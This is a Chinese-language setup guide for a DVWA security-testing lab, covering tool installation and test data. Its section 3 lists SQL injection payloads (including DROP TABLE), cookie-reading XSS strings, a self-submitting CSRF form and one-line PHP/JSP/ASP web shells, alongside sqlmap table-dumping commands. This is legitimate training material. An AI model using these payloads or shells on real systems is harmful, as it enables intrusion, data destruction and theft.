DVWA安全测试项目准备¶
1. 项目概述¶
1.1 项目背景¶
DVWA (Damn Vulnerable Web Application) 是一个故意设计成易受攻击的 Web 应用程序,用于帮助安全专业人员和开发者了解常见的 Web 应用安全漏洞。本项目旨在通过系统性的安全测试,发现和验证DVWA平台中的各种安全漏洞,为安全学习和测试提供实践环境。
1.2 项目目标¶
- 学习目标:通过实际操作学习Web应用安全漏洞的发现和利用方法
- 测试目标:验证DVWA平台中各种安全漏洞的存在和影响
- 技能目标:提升安全测试技能和工具使用能力
- 实践目标:建立完整的安全测试流程和方法论
1.3 项目范围¶
1.3.1 测试范围¶
- OWASP Top 10:覆盖所有OWASP Top 10安全威胁
- 常见漏洞:SQL注入、XSS、CSRF、文件上传等
- 系统安全:访问控制、身份认证、会话管理等
- 配置安全:系统配置、组件安全等
1.3.2 工具范围¶
- 漏洞扫描工具:sqlmap、OWASP ZAP、Nessus等
- 渗透测试工具:Burp Suite、Metasploit、Nmap等
- 开发环境:Python、Java、各种IDE等
- 测试环境:DVWA在线演练环境
2. 环境准备¶
2.1 DVWA 在线演练环境¶
2.1.1 环境信息¶
- 在线演练环境地址:http://192.168.20.30:4280/
- 默认用户名:admin
- 默认密码:password
- 安全级别:Low/Medium/High/Impossible
- 数据库:MySQL
- Web服务器:Apache
2.1.2 环境配置¶
- 访问环境:通过浏览器访问DVWA在线环境
- 登录系统:使用默认账户登录
- 设置安全级别:根据需要调整安全级别
- 验证环境:确认所有功能模块正常可用
2.1.3 环境特点¶
- 故意设计:故意包含各种安全漏洞
- 教学友好:提供详细的学习资料和示例
- 实时反馈:提供即时的攻击结果反馈
- 安全级别:支持多种安全级别设置
2.2 Python 环境¶
2.2.1 Python 安装(Windows)¶
下载 Python 解释器¶
通过下载页面,可以在该页面上看到下载链接。

在下载列表中以"(64-bit)"结尾的链接是 64 位的 Python 安装程序,以"(32-bit)"开头的链接是 32 位的 Python 安装程序 。现在大部分电脑的 Windows 系统都是 64 位的。
需要注意的是,此安装包已经不再支持 Windows7 系统版本,最好是使用 Win10 或者更新的版本。
下载完成后会得到 Python-3.10.11-amd64.exe 安装文件 。
安装 Python 解释器¶
-
双击
Python-x.x.x-amd64.exe文件,系统将会开启 Python 安装向导 -
勾选
Add Python.exe to PATH复选框 ,可以将 Python 命令工具所在 目录 添加到系统Path环境变量中 -
单击
Customize installation,可以在安装时指定自定义的安装路径。 单击该选项即可开始安装。
-
在接下来的安装界面中只要改变 Python 的安装路径(建议安装在指定盘符的根路径下,比如 安装在
D:\Python目录下), 其他地方使用默认选项即可。
检查安装结果¶
安装完成后,启动 Windows 的命令行 cmd 程序 , 在命令行窗口中输入Python命令(字母 p 是小写的)。
如果出现 Python 提示符(>>>),就说明安装成功了 。

2.2.2 Python 环境配置¶
虚拟环境创建¶
# 创建虚拟环境
python -m venv dvwa_test_env
# 激活虚拟环境(Windows)
dvwa_test_env\Scripts\activate
# 激活虚拟环境(Linux/Mac)
source dvwa_test_env/bin/activate
依赖包安装¶
# 安装基础依赖
pip install requests
pip install beautifulsoup4
pip install selenium
pip install pytest
pip install sqlmap
2.3 安全测试工具环境¶
2.3.1 sqlmap 安装¶
下载¶

点击下载,这里下载的是 zip 文件。
先解压,然后 cmd 到命令行找到该文件夹。

直接运行 sqlmap,-h 是显示帮助。

这样就说明可以正常使用了正常的使用规则就是如此找到文件夹,python ./sqlmap.py -h 为查看帮助,使用同理。
基本使用¶
# 基本扫描
python sqlmap.py -u "http://target.com/page.php?id=1"
# 详细扫描
python sqlmap.py -u "http://target.com/page.php?id=1" --dbs
# 获取表信息
python sqlmap.py -u "http://target.com/page.php?id=1" -D database_name --tables
# 获取列信息
python sqlmap.py -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
# 获取数据
python sqlmap.py -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column_name --dump
2.3.2 OWASP ZAP 安装¶
下载安装¶
- 访问 OWASP ZAP 官网:https://www.zaproxy.org/
- 下载适合操作系统的版本
- 解压到指定目录
- 运行 zap.bat(Windows)或 zap.sh(Linux/Mac)
基本配置¶
- 代理设置:配置浏览器代理到 ZAP
- 扫描配置:设置扫描策略和参数
- 认证配置:配置登录认证信息
- 报告配置:设置报告生成参数
2.3.3 Burp Suite 安装¶
下载安装¶
- 访问 PortSwigger 官网:https://portswigger.net/burp
- 下载 Community Edition(免费版)
- 安装并启动 Burp Suite
- 配置浏览器代理
基本使用¶
- 代理拦截:配置浏览器代理拦截请求
- 漏洞扫描:使用 Scanner 模块进行扫描
- 手动测试:使用 Repeater 模块进行手动测试
- 报告生成:生成详细的测试报告
3. 测试数据准备¶
3.1 用户数据¶
3.1.1 测试账户¶
| 用户名 | 密码 | 权限级别 | 用途 |
|---|---|---|---|
| admin | password | 管理员 | 完整功能测试 |
| test | test | 普通用户 | 权限控制测试 |
| guest | guest | 访客 | 访问限制测试 |
3.1.2 测试用户创建¶
-- 创建测试用户
INSERT INTO users (user_id, first_name, last_name, user, password, avatar, last_login, failed_login)
VALUES (1, 'admin', 'admin', 'admin', '5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8', NULL, NULL, 0);
INSERT INTO users (user_id, first_name, last_name, user, password, avatar, last_login, failed_login)
VALUES (2, 'test', 'user', 'test', '098f6bcd4621d373cade4e832627b4f6', NULL, NULL, 0);
3.2 攻击向量数据¶
3.2.1 SQL注入攻击向量¶
# SQL注入测试数据
sql_injection_payloads = [
# 基础注入
"1' OR '1'='1",
"1' OR '1'='1'--",
"1' OR '1'='1'#",
# 联合查询注入
"1' UNION SELECT username,password FROM users--",
"1' UNION SELECT NULL,username FROM users--",
# 布尔盲注
"1' AND (SELECT COUNT(*) FROM users)>0--",
"1' AND (SELECT LENGTH(username) FROM users WHERE user_id=1)>5--",
# 时间盲注
"1'; WAITFOR DELAY '00:00:05'--",
"1'; SELECT SLEEP(5)--",
# 堆叠查询注入
"1'; DROP TABLE users;--",
"1'; INSERT INTO users VALUES(999,'hacker','hacker','hacker','password');--"
]
3.2.2 XSS攻击向量¶
# XSS测试数据
xss_payloads = [
# 基础XSS
"<script>alert('XSS')</script>",
"<script>alert(document.cookie)</script>",
# 事件处理器XSS
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
# 编码绕过XSS
"%3Cscript%3Ealert('XSS')%3C/script%3E",
"<script>alert('XSS')</script>",
# 存储型XSS
"<iframe src='javascript:alert(\"XSS\")'></iframe>",
"<body onload=alert('XSS')>",
# 过滤绕过XSS
"<ScRiPt>alert('XSS')</ScRiPt>",
"<script>alert(String.fromCharCode(88,83,83))</script>"
]
3.2.3 CSRF攻击向量¶
<!-- CSRF攻击示例 -->
<form action="http://target.com/update" method="POST">
<input name="email" value="attacker@evil.com">
<input name="password" value="hacked123">
</form>
<script>document.forms[0].submit()</script>
<!-- 图片CSRF攻击 -->
<img src="http://target.com/delete?id=1" width="0" height="0">
3.2.4 文件上传攻击向量¶
# 恶意文件内容
malicious_files = {
'php_shell.php': '<?php system($_GET["cmd"]); ?>',
'jsp_shell.jsp': '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>',
'asp_shell.asp': '<% eval request("cmd") %>',
'fake_image.php': 'GIF89a<?php system($_GET["cmd"]); ?>'
}
3.3 测试场景数据¶
3.3.1 测试场景配置¶
# 测试场景配置
test_scenarios = {
'sql_injection': {
'target_url': 'http://target.com/vulnerabilities/sqli/',
'parameters': ['id', 'name', 'search'],
'methods': ['GET', 'POST'],
'expected_results': ['error', 'data_leak', 'time_delay']
},
'xss': {
'target_url': 'http://target.com/vulnerabilities/xss_r/',
'parameters': ['name', 'message', 'search'],
'methods': ['GET', 'POST'],
'expected_results': ['script_execution', 'html_injection']
},
'csrf': {
'target_url': 'http://target.com/vulnerabilities/csrf/',
'parameters': ['password_new', 'password_conf'],
'methods': ['POST'],
'expected_results': ['password_change', 'unauthorized_action']
}
}
4. 工具配置¶
4.1 浏览器配置¶
4.1.1 Chrome 配置¶
- 安装扩展:
- FoxyProxy:代理管理
- User-Agent Switcher:用户代理切换
-
Web Developer:Web开发工具
-
代理设置:
- HTTP代理:127.0.0.1:8080
- HTTPS代理:127.0.0.1:8080
-
绕过代理:localhost, 127.0.0.1
-
安全设置:
- 禁用同源策略(仅测试环境)
- 允许不安全内容
- 禁用弹出窗口阻止程序
4.1.2 Firefox 配置¶
- 安装扩展:
- FoxyProxy Standard
- User-Agent Switcher
-
Web Developer
-
代理设置:
- 手动代理配置
- HTTP代理:127.0.0.1:8080
- HTTPS代理:127.0.0.1:8080
4.2 网络配置¶
4.2.1 代理配置¶
# 设置HTTP代理
export http_proxy=http://127.0.0.1:8080
export https_proxy=http://127.0.0.1:8080
# 设置代理(Windows)
set http_proxy=http://127.0.0.1:8080
set https_proxy=http://127.0.0.1:8080
4.2.2 防火墙配置¶
# 允许本地代理端口
sudo ufw allow 8080
sudo ufw allow 8081
# 允许测试端口
sudo ufw allow 80
sudo ufw allow 443
4.3 测试脚本配置¶
4.3.1 Python 测试脚本¶
# test_config.py
import os
# 测试配置
TEST_CONFIG = {
'target_url': 'http://target.com',
'proxy': 'http://127.0.0.1:8080',
'timeout': 30,
'retry_count': 3,
'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'headers': {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive'
}
}
# 日志配置
LOG_CONFIG = {
'level': 'INFO',
'format': '%(asctime)s - %(name)s - %(levelname)s - %(message)s',
'file': 'dvwa_test.log'
}
4.3.2 测试用例配置¶
# test_cases.py
TEST_CASES = {
'sql_injection': {
'name': 'SQL注入测试',
'priority': 'P0',
'payloads': sql_injection_payloads,
'expected_results': ['error', 'data_leak', 'time_delay']
},
'xss': {
'name': 'XSS测试',
'priority': 'P0',
'payloads': xss_payloads,
'expected_results': ['script_execution', 'html_injection']
},
'csrf': {
'name': 'CSRF测试',
'priority': 'P1',
'payloads': csrf_payloads,
'expected_results': ['unauthorized_action']
}
}
5. 环境验证¶
5.1 环境检查清单¶
5.1.1 基础环境检查¶
- Python 环境安装完成
- 虚拟环境创建成功
- 依赖包安装完成
- DVWA 环境可正常访问
- 浏览器代理配置正确
5.1.2 工具环境检查¶
- sqlmap 可正常运行
- OWASP ZAP 可正常启动
- Burp Suite 可正常使用
- 代理拦截功能正常
- 测试脚本可正常执行
5.1.3 网络环境检查¶
- 网络连接正常
- 代理设置正确
- 防火墙配置正确
- DNS 解析正常
- SSL 证书验证正常
5.2 功能验证¶
5.2.1 DVWA 功能验证¶
# DVWA功能验证脚本
import requests
def verify_dvwa_environment():
"""验证DVWA环境是否正常"""
try:
# 访问DVWA首页
response = requests.get('http://target.com')
assert response.status_code == 200
# 登录测试
login_data = {
'username': 'admin',
'password': 'password',
'Login': 'Login'
}
response = requests.post('http://target.com/login.php', data=login_data)
assert 'Welcome to the password protected area' in response.text
print("DVWA环境验证成功")
return True
except Exception as e:
print(f"DVWA环境验证失败: {e}")
return False
5.2.2 工具功能验证¶
# 工具功能验证
def verify_tools():
"""验证安全测试工具是否正常"""
tools_status = {}
# 验证sqlmap
try:
import subprocess
result = subprocess.run(['python', 'sqlmap.py', '--version'],
capture_output=True, text=True)
tools_status['sqlmap'] = 'OK' if result.returncode == 0 else 'FAIL'
except:
tools_status['sqlmap'] = 'FAIL'
# 验证requests
try:
import requests
tools_status['requests'] = 'OK'
except:
tools_status['requests'] = 'FAIL'
return tools_status
6. 安全注意事项¶
6.1 测试环境安全¶
6.1.1 环境隔离¶
- 网络隔离:确保测试环境与生产环境隔离
- 数据隔离:使用测试数据,避免使用生产数据
- 权限隔离:限制测试环境的访问权限
- 时间隔离:在非业务时间进行测试
6.1.2 数据保护¶
- 敏感数据:避免在测试中使用真实敏感数据
- 数据备份:定期备份测试环境数据
- 数据清理:测试完成后清理敏感数据
- 数据加密:对敏感数据进行加密存储
6.2 法律合规¶
6.2.1 授权测试¶
- 明确授权:确保获得明确的测试授权
- 范围限制:严格按照授权范围进行测试
- 时间限制:在授权时间内进行测试
- 结果保密:对测试结果进行保密处理
6.2.2 合规要求¶
- 法律法规:遵守相关法律法规
- 行业标准:符合行业安全标准
- 公司政策:遵循公司安全政策
- 道德准则:遵守安全测试道德准则
7. 故障排除¶
7.1 常见问题¶
7.1.1 环境问题¶
问题:DVWA 无法访问 解决方案: 1. 检查网络连接 2. 验证URL地址 3. 检查防火墙设置 4. 确认服务状态
问题:Python 环境错误 解决方案: 1. 检查Python版本 2. 验证虚拟环境 3. 重新安装依赖包 4. 检查环境变量
7.1.2 工具问题¶
问题:sqlmap 无法运行 解决方案: 1. 检查Python环境 2. 验证sqlmap路径 3. 检查依赖包 4. 查看错误日志
问题:代理拦截失败 解决方案: 1. 检查代理设置 2. 验证端口配置 3. 检查防火墙 4. 重启代理服务
7.2 日志分析¶
7.2.1 错误日志¶
# 日志分析脚本
import logging
def analyze_logs(log_file):
"""分析测试日志"""
with open(log_file, 'r') as f:
logs = f.readlines()
error_count = 0
warning_count = 0
for log in logs:
if 'ERROR' in log:
error_count += 1
elif 'WARNING' in log:
warning_count += 1
print(f"错误数量: {error_count}")
print(f"警告数量: {warning_count}")
8. 总结¶
DVWA安全测试项目准备涵盖了完整的环境搭建、工具配置、数据准备和验证流程,为安全测试提供了坚实的基础。
通过系统性的环境准备,确保了测试环境的稳定性和可靠性,为后续的安全测试工作提供了有力支撑。
遵循安全测试的最佳实践,建立了完善的安全防护措施,确保测试过程安全可控。
通过详细的故障排除指南,提高了问题解决效率,确保测试工作顺利进行。